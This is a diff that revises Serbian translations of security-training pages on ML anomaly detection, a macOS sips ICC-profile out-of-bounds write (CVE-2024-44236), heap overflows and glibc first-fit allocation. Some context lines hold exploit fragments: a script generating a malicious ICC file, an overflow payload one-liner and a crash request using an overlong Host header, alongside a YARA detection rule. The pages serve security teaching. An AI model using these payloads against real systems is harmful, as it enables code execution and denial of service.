U ovom kodu, obučavamo GMM sa 3 Gaussiana na normalnom saobraćaju (pretpostavljajući da znamo 3 profila legitimnog saobraćaja). Srednje vrednosti i kovarijanse koje se ispisuju opisuju ove klastere (na primer, jedna srednja vrednost može biti oko [50,500] koja odgovara centru jednog klastera, itd.). Zatim testiramo sumnjivu vezu [duration=200, bytes=800]. predict_proba daje verovatnoću da ova tačka pripada svakom od 3 klastera – očekivali bismo da su ove verovatnoće vrlo niske ili veoma iskrivljene, pošto [200,800] leži daleko od normalnih klastera. Ukupni score_samples (log-verovatnoća) se ispisuje; vrlo niska vrednost ukazuje na to da tačka ne odgovara modelu dobro, označavajući je kao anomaliju. U praksi, može se postaviti prag na log-verovatnoću (ili na maksimalnu verovatnoću) da se odluči da li je tačka dovoljno malo verovatna da se smatra malicioznom. GMM tako pruža principijelan način za otkrivanje anomalija i takođe daje meke klastere koji priznaju nesigurnost.
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
**Isolation Forest** je algoritam za otkrivanje anomalija zasnovan na ideji nasumičnog izolovanja tačaka. Princip je da su anomalije retke i različite, pa ih je lakše izolovati nego normalne tačke. Isolation Forest gradi mnogo binarnih izolacionih stabala (nasumična odlučujuća stabla) koja nasumično dele podatke. Na svakom čvoru u stablu, nasumična karakteristika se bira i nasumična vrednost razdvajanja se bira između minimuma i maksimuma te karakteristike za podatke u tom čvoru. Ovo razdvajanje deli podatke na dve grane. Stablo se razvija sve dok svaka tačka nije izolovana u svom listu ili dok se ne dostigne maksimalna visina stabla.
|
||||
|
||||
Otkrivanje anomalija se vrši posmatranjem dužine puta svake tačke u ovim nasumičnim stablima – broj razdvajanja potrebnih za izolovanje tačke. Intuitivno, anomalije (izuzeci) se obično brže izoluju jer je nasumično razdvajanje verovatnije da će odvojiti izuzetak (koji se nalazi u retkoj oblasti) nego normalnu tačku u gustoj grupi. Isolation Forest izračunava skor anomalije na osnovu prosečne dužine puta preko svih stabala: kraća prosečna dužina puta → više anomalno. Skorovi se obično normalizuju na [0,1] gde 1 znači vrlo verovatna anomalija.
|
||||
Otkrivanje anomalija se vrši posmatranjem dužine puta svake tačke u ovim nasumičnim stablima – broj razdvajanja potrebnih za izolovanje tačke. Intuitivno, anomalije (izuzeci) se obično brže izoluju jer je nasumično razdvajanje verovatnije da će odvojiti izuzetak (koji se nalazi u retkoj oblasti) nego normalnu tačku u gustoj grupi. Isolation Forest izračunava skor anomalije na osnovu prosečne dužine puta preko svih stabala: kraća prosečna dužina puta → više anomalno. Skorovi se obično normalizuju na [0,1] gde 1 znači vrlo verovatnu anomaliju.
|
||||
|
||||
> [!TIP]
|
||||
> *Upotrebe u sajber bezbednosti:* Isolation Forests su uspešno korišćeni u otkrivanju upada i prevara. Na primer, obučite Isolation Forest na logovima mrežnog saobraćaja koji većinom sadrže normalno ponašanje; šuma će proizvesti kratke puteve za čudan saobraćaj (kao što je IP koji koristi nečuvenu portu ili neobičan obrazac veličine paketa), označavajući ga za inspekciju. Pošto ne zahteva označene napade, pogodna je za otkrivanje nepoznatih tipova napada. Takođe se može primeniti na podatke o prijavljivanju korisnika kako bi se otkrili preuzimanja naloga (anomalna vremena ili lokacije prijavljivanja se brzo izoluju). U jednom slučaju upotrebe, Isolation Forest može zaštititi preduzeće praćenjem sistemskih metrika i generisanjem upozorenja kada kombinacija metrika (CPU, mreža, promene datoteka) izgleda veoma drugačije (kratki putevi izolacije) od istorijskih obrazaca.
|
||||
> *Upotrebe u sajber bezbednosti:* Isolation Forests su uspešno korišćeni u otkrivanju upada i prevara. Na primer, obučite Isolation Forest na logovima mrežnog saobraćaja koji većinom sadrže normalno ponašanje; šuma će proizvesti kratke puteve za čudan saobraćaj (kao što je IP koji koristi nečuvenu portu ili neobičan obrazac veličine paketa), označavajući ga za inspekciju. Pošto ne zahteva označene napade, pogodna je za otkrivanje nepoznatih tipova napada. Takođe se može primeniti na podatke o prijavama korisnika za otkrivanje preuzimanja naloga (anomalna vremena ili lokacije prijave se brzo izoluju). U jednom slučaju upotrebe, Isolation Forest može zaštititi preduzeće praćenjem sistemskih metrika i generisanjem upozorenja kada kombinacija metrika (CPU, mreža, promene datoteka) izgleda veoma drugačije (kratki putevi izolacije) od istorijskih obrazaca.
|
||||
|
||||
#### Pretpostavke i Ograničenja
|
||||
|
||||
@ -324,17 +324,17 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
```
|
||||
U ovom kodu, instanciramo `IsolationForest` sa 100 stabala i postavljamo `contamination=0.15` (što znači da očekujemo oko 15% anomalija; model će postaviti svoj prag ocene tako da ~15% tačaka bude označeno). Prilagođavamo ga na `X_test_if` koji sadrži mešavinu normalnih i napadnih tačaka (napomena: obično biste prilagodili na podacima za obuku, a zatim koristili predikciju na novim podacima, ali ovde, radi ilustracije, prilagođavamo i predviđamo na istom skupu kako bismo direktno posmatrali rezultate).
|
||||
|
||||
Izlaz prikazuje predviđene oznake za prvih 20 tačaka (gde -1 označava anomaliju). Takođe štampamo koliko je anomalija ukupno otkriveno i neke primerke ocena anomalija. Očekivali bismo otprilike 18 od 120 tačaka da bude označeno -1 (pošto je kontaminacija bila 15%). Ako su naših 20 uzoraka napada zaista najizolovaniji, većina njih bi trebala da se pojavi u tim -1 predikcijama. Ocena anomalije (odluka funkcije Isolation Forest-a) je viša za normalne tačke i niža (više negativna) za anomalije – štampamo nekoliko vrednosti da bismo videli razdvajanje. U praksi, neko bi mogao da sortira podatke po oceni da bi video najbolje izuzetke i istražio ih. Isolation Forest tako pruža efikasan način da se pretražuju veliki neoznačeni bezbednosni podaci i izdvoje najnepravilnije instance za ljudsku analizu ili dalju automatsku proveru.
|
||||
Izlaz prikazuje predviđene oznake za prvih 20 tačaka (gde -1 označava anomaliju). Takođe štampamo koliko je anomalija ukupno otkriveno i neke primerke ocena anomalija. Očekivali bismo otprilike 18 od 120 tačaka da bude označeno -1 (pošto je kontaminacija bila 15%). Ako su naših 20 uzoraka napada zaista najizolovaniji, većina njih bi trebala da se pojavi u tim -1 predikcijama. Ocena anomalije (funkcija odluke Isolation Forest-a) je viša za normalne tačke i niža (više negativna) za anomalije – štampamo nekoliko vrednosti da bismo videli razdvajanje. U praksi, neko bi mogao da sortira podatke po oceni da bi video najistaknutije izuzetke i istražio ih. Isolation Forest tako pruža efikasan način da se pretražuju veliki neoznačeni bezbednosni podaci i izdvoje najnepravilnije instance za ljudsku analizu ili dalju automatsku proveru.
|
||||
|
||||
### t-SNE (t-Distribuirano Stohastičko Ugrađivanje Suseda)
|
||||
|
||||
**t-SNE** je nelinearna tehnika smanjenja dimenzionalnosti posebno dizajnirana za vizualizaciju podataka visoke dimenzionalnosti u 2 ili 3 dimenzije. Ona pretvara sličnosti između tačaka podataka u zajedničke verovatnoće i pokušava da sačuva strukturu lokalnih komšiluka u projekciji sa nižom dimenzionalnošću. Jednostavnije rečeno, t-SNE postavlja tačke u (recimo) 2D tako da slične tačke (u originalnom prostoru) završe blizu jedna druge, a neslične tačke daleko jedna od druge sa visokom verovatnoćom.
|
||||
**t-SNE** je nelinearna tehnika smanjenja dimenzionalnosti posebno dizajnirana za vizualizaciju podataka visoke dimenzionalnosti u 2 ili 3 dimenzije. Ona pretvara sličnosti između tačaka podataka u zajedničke verovatnosne raspodele i pokušava da sačuva strukturu lokalnih komšiluka u projekciji sa nižom dimenzionalnošću. Jednostavnije rečeno, t-SNE postavlja tačke u (recimo) 2D tako da slične tačke (u originalnom prostoru) završe blizu jedna druge, a neslične tačke daleko jedna od druge sa visokom verovatnoćom.
|
||||
|
||||
Algoritam ima dve glavne faze:
|
||||
|
||||
1. **Izračunavanje parnih afiniteta u prostoru visoke dimenzionalnosti:** Za svaki par tačaka, t-SNE izračunava verovatnoću da bi neko izabrao taj par kao komšije (to se radi centriranjem Gaussove distribucije na svakoj tački i merenjem udaljenosti – parametar perplexity utiče na efektivan broj komšija koje se razmatraju).
|
||||
2. **Izračunavanje parnih afiniteta u prostoru sa niskom dimenzionalnošću (npr. 2D):** U početku, tačke se nasumično postavljaju u 2D. t-SNE definiše sličnu verovatnoću za udaljenosti u ovoj mapi (koristeći Studentovu t-distribuciju, koja ima teže repove od Gaussove kako bi omogućila udaljenim tačkama više slobode).
|
||||
3. **Gradientni spust:** t-SNE zatim iterativno pomera tačke u 2D kako bi minimizirao Kullback–Leibler (KL) divergenciju između visoko-D afinitetske distribucije i nisko-D one. To uzrokuje da raspored u 2D odražava visoko-D strukturu koliko god je to moguće – tačke koje su bile blizu u originalnom prostoru će se privlačiti, a one daleko će se odbijati, dok se ne pronađe ravnoteža.
|
||||
1. **Izračunavanje parnih afiniteta u prostoru visoke dimenzionalnosti:** Za svaki par tačaka, t-SNE izračunava verovatnoću da bi neko izabrao taj par kao komšije (to se radi centriranjem Gaussove raspodele na svakoj tački i merenjem udaljenosti – parametar perplexity utiče na efektivan broj komšija koje se razmatraju).
|
||||
2. **Izračunavanje parnih afiniteta u prostoru sa niskom dimenzionalnošću (npr. 2D):** U početku, tačke se nasumično postavljaju u 2D. t-SNE definiše sličnu verovatnoću za udaljenosti na ovoj mapi (koristeći Studentovu t-raspodelu, koja ima teže repove od Gaussove kako bi omogućila udaljenim tačkama više slobode).
|
||||
3. **Gradientni spust:** t-SNE zatim iterativno pomera tačke u 2D kako bi minimizovao Kullback–Leibler (KL) divergenciju između visoko-D afinitetske raspodele i nisko-D. To uzrokuje da raspored u 2D odražava strukturu visoko-D koliko god je to moguće – tačke koje su bile blizu u originalnom prostoru će se privlačiti, a one daleko će se odbijati, dok se ne pronađe ravnoteža.
|
||||
|
||||
Rezultat je često vizuelno značajan dijagram raspršenja gde klasteri u podacima postaju očigledni.
|
||||
|
||||
@ -444,10 +444,10 @@ Ovde smo kombinovali naš prethodni 4D normalni skup podataka sa nekoliko ekstre
|
||||
|
||||
* izvlači intuitivnije klastere kada su neki klasteri gusti, a drugi retki,
|
||||
* ima samo jedan pravi hiperparametar (`min_cluster_size`) i razumnu podrazumevanu vrednost,
|
||||
* daje svakoj tački *verovatnoću* članstva u klasteru i **ocenu outliera** (`outlier_scores_`), što je izuzetno korisno za nadzorne table za lov na pretnje.
|
||||
* daje svakoj tački *verovatnoću* članstva u klasteru i **ocenu outliera** (`outlier_scores_`), što je izuzetno korisno za nadzorne table za pretragu pretnji.
|
||||
|
||||
> [!TIP]
|
||||
> *Upotreba u sajber bezbednosti:* HDBSCAN je veoma popularan u modernim tokovima lova na pretnje – često ćete ga videti unutar svesaka zasnovanih na lovačkim priručnicima koji se isporučuju sa komercijalnim XDR paketima. Jedan praktičan recept je klasterisanje HTTP beaconing saobraćaja tokom IR: user-agent, interval i dužina URI često formiraju nekoliko uskih grupa legitimnih softverskih ažuriranja dok C2 beacon-i ostaju kao mali klasteri niske gustine ili kao čista buka.
|
||||
> *Upotreba u sajber bezbednosti:* HDBSCAN je veoma popularan u modernim tokovima pretrage pretnji – često ćete ga videti unutar svesaka zasnovanih na lovu koje dolaze sa komercijalnim XDR paketima. Jedan praktičan recept je klasterisanje HTTP beaconing saobraćaja tokom IR: user-agent, interval i dužina URI često formiraju nekoliko uskih grupa legitimnih softverskih ažuriranja dok C2 beacons ostaju kao mali klasteri niske gustine ili kao čista buka.
|
||||
|
||||
<details>
|
||||
<summary>Primer – Pronalaženje beaconing C2 kanala</summary>
|
||||
@ -478,19 +478,19 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
---
|
||||
|
||||
### Robusnost i Bezbednosna Razmatranja – Trovanje & Adversarialni Napadi (2023-2025)
|
||||
### Robusnost i Bezbednosna Razmatranja – Trovanje & Adversarijalni Napadi (2023-2025)
|
||||
|
||||
Nedavni radovi su pokazali da **nesupervizovani učenici *nisu* imuni na aktivne napadače**:
|
||||
|
||||
* **Trovanje podacima protiv detektora anomalija.** Chen *et al.* (IEEE S&P 2024) je demonstrirao da dodavanje samo 3 % kreiranog saobraćaja može pomeriti granicu odluke Isolation Forest i ECOD tako da pravi napadi izgledaju normalno. Autori su objavili open-source PoC (`udo-poison`) koji automatski sintetizuje tačke trovanja.
|
||||
* **Ubacivanje u klastering modele.** Tehnika *BadCME* (BlackHat EU 2023) implantira mali uzorak okidača; kada se taj okidač pojavi, detektor zasnovan na K-Means tiho smešta događaj unutar “benignog” klastera.
|
||||
* **Izbegavanje DBSCAN/HDBSCAN.** Akademski preprint iz 2025. sa KU Leuven-a je pokazao da napadač može kreirati beaconing uzorke koji namerno padaju u praznine gustine, efikasno se skrivajući unutar *šumskih* oznaka.
|
||||
* **Trovanje podacima protiv detektora anomalija.** Chen *et al.* (IEEE S&P 2024) je demonstrirao da dodavanje samo 3 % kreiranog saobraćaja može pomeriti granicu odluke Isolation Forest i ECOD tako da pravi napadi izgledaju normalno. Autori su objavili open-source PoC (`udo-poison`) koji automatski sintetizuje toksične tačke.
|
||||
* **Ubacivanje backdoor-a u modele klasterovanja.** Tehnika *BadCME* (BlackHat EU 2023) implantira mali uzorak okidača; kada se taj okidač pojavi, detektor zasnovan na K-Means tiho smešta događaj unutar “benignog” klastera.
|
||||
* **Izbegavanje DBSCAN/HDBSCAN.** Akademski preprint iz 2025. sa KU Leuven-a je pokazao da napadač može kreirati beacon uzorke koji namerno padaju u praznine gustine, efikasno se skrivajući unutar *buke* oznaka.
|
||||
|
||||
Mere ublažavanja koje dobijaju na značaju:
|
||||
|
||||
1. **Sanitizacija modela / TRIM.** Pre svake epohe ponovnog treniranja, odbacite 1–2 % tačaka sa najvećim gubicima (trimmed maximum likelihood) kako bi trovanje postalo dramatično teže.
|
||||
2. **Konsenzus ensembling.** Kombinujte nekoliko heterogenih detektora (npr., Isolation Forest + GMM + ECOD) i podignite alarm ako *bilo koji* model označi tačku. Istraživanja ukazuju da ovo povećava troškove napadača za >10×.
|
||||
3. **Odbrana zasnovana na distanci za klastering.** Ponovo izračunajte klastere sa `k` različitih nasumičnih semena i ignorišite tačke koje konstantno preskoče klastere.
|
||||
1. **Sanitizacija modela / TRIM.** Pre svake epohe ponovnog treniranja, odbaciti 1–2 % tačaka sa najvećim gubicima (trimmed maximum likelihood) kako bi se trovanje drastično otežalo.
|
||||
2. **Konsenzusno ensembling.** Kombinovati nekoliko heterogenih detektora (npr., Isolation Forest + GMM + ECOD) i podići alarm ako *bilo koji* model označi tačku. Istraživanja ukazuju da ovo povećava troškove napadača za >10×.
|
||||
3. **Odbrana zasnovana na distanci za klasterovanje.** Ponovo izračunati klastere sa `k` različitih nasumičnih semena i ignorisati tačke koje konstantno preskoče klastere.
|
||||
|
||||
---
|
||||
|
||||
|
@ -1,14 +1,14 @@
|
||||
# WWW2Exec - sips ICC profil vanjski zapis (CVE-2024-44236)
|
||||
# WWW2Exec - sips ICC Profil Izvan Granica Pisanje (CVE-2024-44236)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
Ranljivost **zero-write** vanjskog zapisa u Apple macOS **Scriptable Image Processing System** (`sips`) parseru ICC profila (macOS 15.0.1, `sips-307`) omogućava napadaču da ošteti metapodatke hrpe i preusmeri primitiv u punu izvršavanje koda. Greška se nalazi u obradi polja `offsetToCLUT` oznaka `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `). Ako napadači postave `offsetToCLUT == tagDataSize`, parser briše **16 bajtova nakon kraja bafera hrpe**. Sprejanje hrpe omogućava napadaču da nula-izbriše strukture alokatora ili C++ pokazivače koji će kasnije biti dereferencirani, što dovodi do **arbitrary-write-to-exec** lanca (CVE-2024-44236, CVSS 7.8).
|
||||
Izvan granica **zero-write** ranjivost u Apple macOS **Scriptable Image Processing System** (`sips`) ICC profil parseru (macOS 15.0.1, `sips-307`) omogućava napadaču da ošteti metapodatke hrpe i preusmeri primitiv u punu izvršavanje koda. Greška se nalazi u obradi `offsetToCLUT` polja `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `) oznaka. Ako napadači postave `offsetToCLUT == tagDataSize`, parser briše **16 bajtova nakon kraja bafera hrpe**. Sprejanje hrpe omogućava napadaču da nula-izvede strukture alokatora ili C++ pokazivače koji će kasnije biti dereferencirani, što dovodi do **arbitrary-write-to-exec** lanca (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple je ispravio grešku u macOS Sonoma 15.2 / Ventura 14.7.1 (30. oktobar 2024). Druga varijanta (CVE-2025-24185) ispravljena je u macOS 15.5 i iOS/iPadOS 18.5 1. aprila 2025.
|
||||
|
||||
## Ranljivi kod
|
||||
## Ranjivi Kod
|
||||
```c
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
@ -55,7 +55,7 @@ profile += mab
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
### YARA pravilo za detekciju
|
||||
### YARA pravilo detekcije
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
@ -77,13 +77,13 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
```
|
||||
## Uticaj
|
||||
|
||||
Otvaranje ili obrada kreiranog ICC profila dovodi do daljinskog **izvršavanja proizvoljnog koda** u kontekstu korisnika koji ga pokreće (Preview, QuickLook, renderovanje slika u Safariju, priloge u Mail-u, itd.), zaobilazeći Gatekeeper jer se profil može ugraditi unutar inače benignih slika (PNG/JPEG/TIFF).
|
||||
Otvaranje ili obrada kreiranog ICC profila dovodi do daljinskog **izvršavanja proizvoljnog koda** u kontekstu korisnika koji ga pokreće (Preview, QuickLook, Safari renderovanje slika, Mail priloge, itd.), zaobilazeći Gatekeeper jer se profil može ugraditi unutar inače benignih slika (PNG/JPEG/TIFF).
|
||||
|
||||
## Detekcija i ublažavanje
|
||||
|
||||
* **Zakrpite!** Osigurajte da host radi na macOS ≥ 15.2 / 14.7.1 (ili iOS/iPadOS ≥ 18.1).
|
||||
* **Zakrpiti!** Osigurajte da host radi na macOS ≥ 15.2 / 14.7.1 (ili iOS/iPadOS ≥ 18.1).
|
||||
* Implementirajte YARA pravilo iznad na email prolazima i EDR rešenjima.
|
||||
* Uklonite ili sanirajte ugrađene ICC profile pomoću `exiftool -icc_profile= -overwrite_original <file>` pre daljnje obrade nepouzdanih fajlova.
|
||||
* Uklonite ili sanirajte ugrađene ICC profile sa `exiftool -icc_profile= -overwrite_original <file>` pre daljnje obrade na nepouzdanim datotekama.
|
||||
* Ojačajte Preview/QuickLook pokretanjem unutar sandboxovanih “transparentnost i modernizacija” VM-ova prilikom analize nepoznatog sadržaja.
|
||||
* Za DFIR, tražite nedavnu izvršavanje `sips --verifyColor` ili učitavanje `ColorSync` biblioteka od strane sandboxovanih aplikacija u ujedinjenom logu.
|
||||
|
||||
@ -91,7 +91,7 @@ Otvaranje ili obrada kreiranog ICC profila dovodi do daljinskog **izvršavanja p
|
||||
|
||||
* Trend Micro Zero Day Initiative savetovanje ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple sigurnosne ažuriranja HT213981 “O sadržaju sigurnosti macOS Sonoma 15.2”
|
||||
* Apple bezbednosne ažuriranja HT213981 “O bezbednosnom sadržaju macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -11,13 +11,13 @@ U stack overflow-ima znamo da će neki registri poput pokazivača instrukcija il
|
||||
> [!TIP]
|
||||
> Da biste pronašli offset-e overflow-a, možete koristiti iste obrasce kao u [**stack overflow-ima**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
### Stack Overflow vs Heap Overflow
|
||||
|
||||
U stack overflow-ima raspored i podaci koji će biti prisutni u stack-u u trenutku kada se ranjivost može aktivirati su prilično pouzdani. To je zato što je stack linearan, uvek se povećava u kolidirajućoj memoriji, na **specifičnim mestima tokom izvršavanja programa stack memorija obično čuva slične vrste podataka** i ima neku specifičnu strukturu sa nekim pokazivačima na kraju dela stack-a koji koristi svaka funkcija.
|
||||
|
||||
Međutim, u slučaju heap overflow-a, korišćena memorija nije linearna, već su **alokacije obično u odvojenim pozicijama memorije** (ne jedna pored druge) zbog **bins i zona** koje razdvajaju alokacije po veličini i zato što se **prethodno oslobođena memorija koristi** pre nego što se alociraju novi chunk-ovi. **Teško je znati objekat koji će kolidirati sa onim koji je ranjiv** na heap overflow. Dakle, kada se pronađe heap overflow, potrebno je pronaći **pouzdan način da se željeni objekat postavi pored u memoriji** onog koji može biti overflow-ovan.
|
||||
|
||||
Jedna od tehnika koja se koristi za ovo je **Heap Grooming** koja se koristi, na primer, [**u ovom postu**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). U postu se objašnjava kako kada u iOS kernel-u zona ostane bez memorije za skladištenje chunk-ova, ona se širi za kernel stranicu, a ova stranica se deli na chunk-ove očekivanih veličina koji će se koristiti redom (do iOS verzije 9.2, zatim se ovi chunk-ovi koriste na nasumičan način kako bi se otežala eksploatacija ovih napada).
|
||||
Jedna od tehnika koja se koristi za ovo je **Heap Grooming** koja se koristi, na primer, [**u ovom postu**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). U postu se objašnjava kako kada u iOS kernel-u zona ostane bez memorije za skladištenje chunk-ova, ona se širi za stranicu kernela, a ova stranica se deli na chunk-ove očekivanih veličina koje će se koristiti redom (do iOS verzije 9.2, zatim se ovi chunk-ovi koriste na nasumičan način kako bi se otežala eksploatacija ovih napada).
|
||||
|
||||
Stoga, u prethodnom postu gde se dešava heap overflow, kako bi se primorao overflow-ovani objekat da kolidira sa objektom žrtvom, nekoliko **`kallocs` se primorava od strane nekoliko niti kako bi se osiguralo da su svi slobodni chunk-ovi popunjeni i da je stvorena nova stranica**.
|
||||
|
||||
@ -27,15 +27,15 @@ Zatim, neki od ovih mesta mogu biti **oslobođeni**. **`kalloc.4096` slobodna li
|
||||
|
||||
### Primer libc
|
||||
|
||||
[**Na ovoj stranici**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) moguće je pronaći osnovnu emulaciju Heap overflow-a koja pokazuje kako prepisivanje prev in use bita sledećeg chunk-a i pozicije prev size omogućava **konzolidaciju korišćenog chunk-a** (praveći ga da misli da je neiskorišćen) i **zatim ponovo alocirati** omogućavajući prepisivanje podataka koji se koriste u različitom pokazivaču.
|
||||
[**Na ovoj stranici**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) moguće je pronaći osnovnu emulaciju Heap overflow-a koja pokazuje kako prepisivanje prev in use bita sledećeg chunk-a i pozicije prev size omogućava **konzolidaciju korišćenog chunk-a** (praveći da misli da je neiskorišćen) i **zatim ga ponovo alocirati** uz mogućnost prepisivanja podataka koji se koriste u drugom pokazivaču.
|
||||
|
||||
Još jedan primer iz [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje vrlo osnovan primer CTF-a gde se **heap overflow** može zloupotrebiti da pozove funkciju pobednika da **dobije zastavu**.
|
||||
Još jedan primer iz [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje vrlo osnovan primer CTF-a gde se **heap overflow** može zloupotrebiti da pozove funkciju pobednika da **dobije zastavicu**.
|
||||
|
||||
U [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) primeru moguće je videti kako zloupotreba buffer overflow-a omogućava **prepisivanje u bliskom chunk-u adrese** gde će **arbitrarni podaci od korisnika** biti napisani.
|
||||
|
||||
### Primer ARM64
|
||||
|
||||
Na stranici [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) možete pronaći primer heap overflow-a gde je komanda koja će biti izvršena smeštena u sledećem chunk-u od overflow-ovanog chunk-a. Tako, moguće je modifikovati izvršenu komandu prepisivanjem sa lakim eksploatom kao:
|
||||
Na stranici [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) možete pronaći primer heap overflow-a gde je komanda koja će biti izvršena smeštena u sledećem chunk-u od overflow-ovanog chunk-a. Tako, moguće je modifikovati izvršenu komandu prepisivanjem sa lakom eksploatacijom kao:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
@ -57,9 +57,9 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
`__sprintf_chk` je deo **_FORTIFY_SOURCE**. Kada primi **pozitivan** `size` parametar, proverava da li rezultantni string staje unutar odredišnog bafera. Prosleđivanjem **`-1` (0xFFFFFFFFFFFFFFFF)**, programeri su efikasno **onemogućili proveru granica**, vraćajući ojačani poziv nazad u klasični, nesigurni `sprintf`.
|
||||
`__sprintf_chk` je deo **_FORTIFY_SOURCE**. Kada primi **pozitivan** `size` parametar, proverava da li rezultantni string staje unutar odredišnog bafera. Prosljeđivanjem **`-1` (0xFFFFFFFFFFFFFFFF)**, programeri su efikasno **onemogućili proveru granica**, vraćajući ojačani poziv nazad u klasični, nesigurni `sprintf`.
|
||||
|
||||
Zato pružanje predugog **`Host:`** zaglavlja omogućava napadaču da **prelije 0x80-bajtni deo i prepiše metapodatke sledećeg heap dela** (tcache / fast-bin / small-bin u zavisnosti od alokatora). Rušenje se može reprodukovati sa:
|
||||
Zato pružanje predugog **`Host:`** zaglavlja omogućava napadaču da **prelije 0x80-bajtni deo i prepiše metapodatke sledećeg heap dela** (tcache / fast-bin / small-bin u zavisnosti od alokatora). Rušenje se može ponoviti sa:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
@ -71,7 +71,7 @@ verify=False
|
||||
```
|
||||
Praktična eksploatacija bi zahtevala **heap grooming** da bi se postavio kontrolisani objekat odmah nakon ranjivog dela, ali osnovni uzrok ističe dva važna zaključka:
|
||||
|
||||
1. **_FORTIFY_SOURCE nije čarobno rešenje** – zloupotreba može poništiti zaštitu.
|
||||
1. **_FORTIFY_SOURCE nije čarobni metak** – zloupotreba može poništiti zaštitu.
|
||||
2. Uvek prosledite **ispravnu veličinu bafera** porodici `_chk` (ili, još bolje, koristite `snprintf`).
|
||||
|
||||
## References
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## **First Fit**
|
||||
|
||||
Kada oslobodite memoriju u programu koristeći glibc, različiti "bins" se koriste za upravljanje delovima memorije. Evo pojednostavljenog objašnjenja dva uobičajena scenarija: nesortirani bins i fastbins.
|
||||
Kada oslobodite memoriju u programu koristeći glibc, različiti "bins" se koriste za upravljanje delovima memorije. Evo pojednostavljenog objašnjenja dva uobičajena scenarija: neusortirani bins i fastbins.
|
||||
|
||||
### Nesortirani Bins
|
||||
### Neusortirani Bins
|
||||
|
||||
Kada oslobodite deo memorije koji nije brzi deo, on ide u nesortirani bin. Ovaj bin deluje kao lista gde se novi oslobođeni delovi dodaju na početak (na "glavu"). Kada zatražite novi deo memorije, alokator gleda nesortirani bin od pozadi (na "rep") da pronađe deo koji je dovoljno velik. Ako je deo iz nesortiranog bina veći od onoga što vam treba, on se deli, pri čemu se prednji deo vraća, a preostali deo ostaje u binu.
|
||||
Kada oslobodite deo memorije koji nije brzi deo, on ide u neusortirani bin. Ovaj bin deluje kao lista gde se novi oslobođeni delovi dodaju na početak (na "glavu"). Kada zatražite novi deo memorije, alokator gleda neusortirani bin od pozadi (na "rep") da pronađe deo koji je dovoljno velik. Ako je deo iz neusortiranog bina veći od onoga što vam treba, on se deli, pri čemu se prednji deo vraća, a preostali deo ostaje u binu.
|
||||
|
||||
Primer:
|
||||
|
||||
- Alocirate 300 bajtova (`a`), zatim 250 bajtova (`b`), zatim oslobodite `a` i ponovo zatražite 250 bajtova (`c`).
|
||||
- Kada oslobodite `a`, on ide u nesortirani bin.
|
||||
- Kada oslobodite `a`, on ide u neusortirani bin.
|
||||
- Ako zatim ponovo zatražite 250 bajtova, alokator pronalazi `a` na repu i deli ga, vraćajući deo koji odgovara vašem zahtevu i zadržavajući ostatak u binu.
|
||||
- `c` će pokazivati na prethodni `a` i biti ispunjen sadržajem `a`.
|
||||
```c
|
||||
@ -42,12 +42,12 @@ c = malloc(20); // b
|
||||
d = malloc(20); // a
|
||||
```
|
||||
---
|
||||
### 🔥 Modern glibc razmatranja (tcache ≥ 2.26)
|
||||
### 🔥 Savremena razmatranja glibc (tcache ≥ 2.26)
|
||||
|
||||
Od glibc 2.26 svaki nit čuva svoj vlastiti **tcache** koji se pretražuje *pre* nesortiranog bin-a. Stoga će se scenarij prvog pogodka **dostići samo ako**:
|
||||
Od glibc 2.26 svaki nit čuva svoj vlastiti **tcache** koji se pretražuje *pre* nesortirane kante. Stoga će se scenarij prvog pogodka **dostići samo ako**:
|
||||
|
||||
1. Tražena veličina je **veća od `tcache_max`** (0x420 na 64-bitnom sistemu po defaultu), *ili*
|
||||
2. Odgovarajući tcache bin je **već pun ili ručno ispraznjen** (alokacijom 7 elemenata i njihovim zadržavanjem u upotrebi).
|
||||
2. Odgovarajuća tcache kanta je **već puna ili ručno ispražnjena** (alokacijom 7 elemenata i njihovim zadržavanjem u upotrebi).
|
||||
|
||||
